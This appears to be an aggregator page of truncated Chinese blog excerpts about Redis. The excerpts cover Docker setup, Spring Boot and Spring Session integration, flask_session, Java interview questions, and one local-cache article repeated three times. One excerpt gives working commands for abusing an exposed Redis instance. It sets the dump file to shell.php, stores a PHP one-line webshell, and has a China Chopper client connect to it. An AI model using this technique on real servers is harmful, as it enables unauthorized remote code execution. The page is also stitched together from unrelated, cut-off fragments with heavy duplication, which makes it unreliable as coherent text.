Redis

查询镜像 docker search redis 拉取官方的镜像 docker pull redis 查看一下是否成功： docker images 启动镜像： docker run -p 6379:6379 -d redis:latest redis- server ps： 菜鸟教程： docker run -p 6379:6379 -v $PWD/data:/data -d redis:3.2 redis-server --appendonly yes 命令说明： -p 6379:6379 : 将容器的6379端口映射到主机的6379端口 -v $PWD/data:/data : 将主机中当前目录下的data挂载到容器的/data redis-server --appendonly yes : 在容器执行redis-server启动命令，并打开redis持久化配置 查看容器启动情况： docker ps 连接redis的几种方式： docker exec -ti d0b86 redis-cli docker exec -ti d0b86 redis-cli -h localhost -p 6379 docker exec -ti d0b86 redis-cli -h 127.0.0.1 -p 6379 docker exec -ti d0b86 redis-cli -h 172

（1）在redis管理工具内写入木马并保存： 输入命令行： config set dbfilename shell.php set shell " <?php @assert($_POST[key]);?> " save （2）此时我们再使用菜刀工具进行连接 （3）木马直接就能成功被菜刀连接执行 来源： oschina 链接： https://my.oschina.net/u/4340047/blog/3537086

springboot整合redis官方是有文档的： 英文看不懂可以翻译，代码应该看得懂， 这个是自动注入的。当然也可以xml注入，手动配置。 整合步骤： pom文件： <!-- spring boot web --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <!-- 热部署 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <optional>true</optional> </dependency> <!-- mybatis --> <dependency> <groupId>org.mybatis.spring.boot</groupId>

springboot通常整合redis，采用的是RedisTemplate的形式,除了这种形式以外，还有另外一种形式去整合，即采用spring支持的注解进行访问缓存 。 》准备工作 pom.xml文件： <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.7.3</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.7.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-redis</artifactId> <version>RELEASE</version> </dependency> application.properties配置文件： 来源： oschina 链接： https://my.oschina.net/u/3611008/blog

有几种办法： 1.扩展指定server 利用Servlet容器提供的插件功能，自定义HttpSession的创建和管理策略，并通过配置的方式替换掉默认的策略。缺点：耦合Tomcat/Jetty等Servlet容器，不能随意更换容器。 2.利用Filter 利用HttpServletRequestWrapper，实现自己的 getSession()方法，接管创建和管理Session数据的工作。spring-session就是通过这样的思路实现的。 3 利用spring session Spring Boot中spring session支持方式： JDBC、MongoDB、Redis、Hazelcast、HashMap 一、引入maven依赖 <properties> <project.build.sourceEncoding>UTF- 8 </project.build.sourceEncoding> <project.reporting.outputEncoding>UTF- 8 </project.reporting.outputEncoding> <java.version> 1.8 </java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot<

前言 flask_session是flask框架实现session功能的一个插件，用来替代flask自带的session实现机制，flask默认的session信息保存在cookie中，不够安全和灵活。 flask的session机制 session是用来干什么的呢？由于http协议是一个无状态的协议，也就是说同一个用户第一次请求和第二次请求是完全没有关系的，但是现在的网站基本上有登录使用的功能，这就要求必须实现有状态，而session机制实现的就是这个功能。 实现的原理: 用户第一次请求后，将产生的状态信息保存在session中，这时可以把session当做一个容器，它保存了正在使用的所有用户的状态信息；这段状态信息分配了一个唯一的标识符用来标识用户的身份，将其保存在响应对象的cookie中；当第二次请求时，解析cookie中的标识符，拿到标识符后去session找到对应的用户的信息。 简单使用 from flask import Flask,session app = Flask(__name__) @app.route('/test1/') def test () : session.setdefault( 'name' , 'xiaoming' ) return 'OK' if __name__ == '__main__' : app.run(host= '127.0.0

面试就是大家身边总是存在各种各样的可能,而自身又具备这样的能力,就忍不住想试一试，尤其是到了年关，是一个好的蓄势并且认真积累的阶段。当然面试套路众多，但对于技术面试来说，主要是考察一个人的技术能力和沟通能力。不同类型的面试官根据自身的理解问的问题也不尽相同，没有规律可循。 “面试造火箭，工作拧螺丝”首先咱得能拧，才有造火箭的可能啊，这一年整理很多面试的高频问点也做了解析，今天在这分享给大家！ 博主已将以下这些面试题整理成了一个Java面试手册，是PDF版的。 需要本资料全部面试题的，可以点击这里！！暗号ky！ Java语法基础 1.面向对象和面向过程的区别 面向过程 优点： 性能比面向对象高，因为类调用时需要实例化，开销比较大，比较消耗 资源;比如单片机、嵌入式开发、Linux/Unix 等一般采用面向过程开发，性能是 最重要的因素。 缺点： 没有面向对象易维护、易复用、易扩展 面向对象 优点： 易维护、易复用、易扩展，由于面向对象有封装、继承、多态性的特 性，可以设计出低耦合的系统，使系统更加灵活、更加易于维护 缺点： 性能比面向过程低 Java 语言有哪些特点 1. 简单易学； 2. 面向对象（封装，继承，多态）； 3. 平台无关性（ Java 虚拟机实现平台无关性）； 4. 可靠性； 5. 安全性； 6. 支持多线程（ C++ 语言没有内置的多线程机制

点击上方 java项目开发 ， 选择 设为星标 优质文章，及时送达 -- 作者：ksfzhaohui http://dwz.win/Ws4 最近在看Mybatis的源码，刚好看到缓存这一块，Mybatis提供了一级缓存和二级缓存；一级缓存相对来说比较简单，功能比较齐全的是二级缓存，基本上满足了一个缓存该有的功能；当然如果拿来和专门的缓存框架如ehcache来对比可能稍有差距；本文我们将来整理一下实现一个本地缓存都应该需要考虑哪些东西。 考虑点 考虑点主要在数据用何种方式存储，能存储多少数据，多余的数据如何处理等几个点，下面我们来详细的介绍每个考虑点，以及该如何去实现； 1.数据结构 首要考虑的就是数据该如何存储，用什么数据结构存储，最简单的就直接用Map来存储数据；或者复杂的如redis一样提供了多种数据类型哈希，列表，集合，有序集合等，底层使用了双端链表，压缩列表，集合，跳跃表等数据结构； 2.对象上限 因为是本地缓存，内存有上限，所以一般都会指定缓存对象的数量比如1024，当达到某个上限后需要有某种策略去删除多余的数据； 3.清除策略 上面说到当达到对象上限之后需要有清除策略，常见的比如有LRU(最近最少使用)、FIFO(先进先出)、LFU(最近最不常用)、SOFT(软引用)、WEAK(弱引用)等策略； 4.过期时间 除了使用清除策略，一般本地缓存也会有一个过期时间设置

点击上方“ 掌上编程 ”，选择“ 置顶或者星标 ” 优质文章第一时间送达！ 来源:ksfzhaohui juejin.im/post/5dd942e15188257324096fe7 前言 考虑点 如何实现 总结 前言 最近在看Mybatis的源码,刚好看到缓存这一块,Mybatis提供了一级缓存和二级缓存;一级缓存相对来说比较简单,功能比较齐全的是二级缓存,基本上满足了一个缓存该有的功能;当然如果拿来和专门的缓存框架如ehcache来对比可能稍有差距;本文我们将来整理一下实现一个本地缓存都应该需要考虑哪些东西。 考虑点 考虑点主要在数据用何种方式存储,能存储多少数据,多余的数据如何处理等几个点,下面我们来详细的介绍每个考虑点,以及该如何去实现; 1.数据结构 首要考虑的就是数据该如何存储,用什么数据结构存储,最简单的就直接用Map来存储数据;或者复杂的如redis一样提供了多种数据类型哈希,列表,集合,有序集合等,底层使用了双端链表,压缩列表,集合,跳跃表等数据结构; 2.对象上限 因为是本地缓存,内存有上限,所以一般都会指定缓存对象的数量比如1024,当达到某个上限后需要有某种策略去删除多余的数据; 3.清除策略 上面说到当达到对象上限之后需要有清除策略,常见的比如有LRU(最近最少使用)、FIFO(先进先出)、LFU(最近最不常用)、SOFT(软引用)、WEAK(弱引用

点击蓝色“ Java后端编程 ”关注我哟 加个“ 星标 ”，每天下午 17:33，干货推送！ 来源： ksfzhaohui | http://dwz.win/Ws4 最近在看Mybatis的源码，刚好看到缓存这一块，Mybatis提供了一级缓存和二级缓存；一级缓存相对来说比较简单，功能比较齐全的是二级缓存，基本上满足了一个缓存该有的功能；当然如果拿来和专门的缓存框架如ehcache来对比可能稍有差距；本文我们将来整理一下实现一个本地缓存都应该需要考虑哪些东西。 考虑点 考虑点主要在数据用何种方式存储，能存储多少数据，多余的数据如何处理等几个点，下面我们来详细的介绍每个考虑点，以及该如何去实现； 1.数据结构 首要考虑的就是数据该如何存储，用什么数据结构存储，最简单的就直接用Map来存储数据；或者复杂的如redis一样提供了多种数据类型哈希，列表，集合，有序集合等，底层使用了双端链表，压缩列表，集合，跳跃表等数据结构； 2.对象上限 因为是本地缓存，内存有上限，所以一般都会指定缓存对象的数量比如1024，当达到某个上限后需要有某种策略去删除多余的数据； 3.清除策略 上面说到当达到对象上限之后需要有清除策略，常见的比如有LRU(最近最少使用)、FIFO(先进先出)、LFU(最近最不常用)、SOFT(软引用)、WEAK(弱引用)等策略； 4.过期时间 除了使用清除策略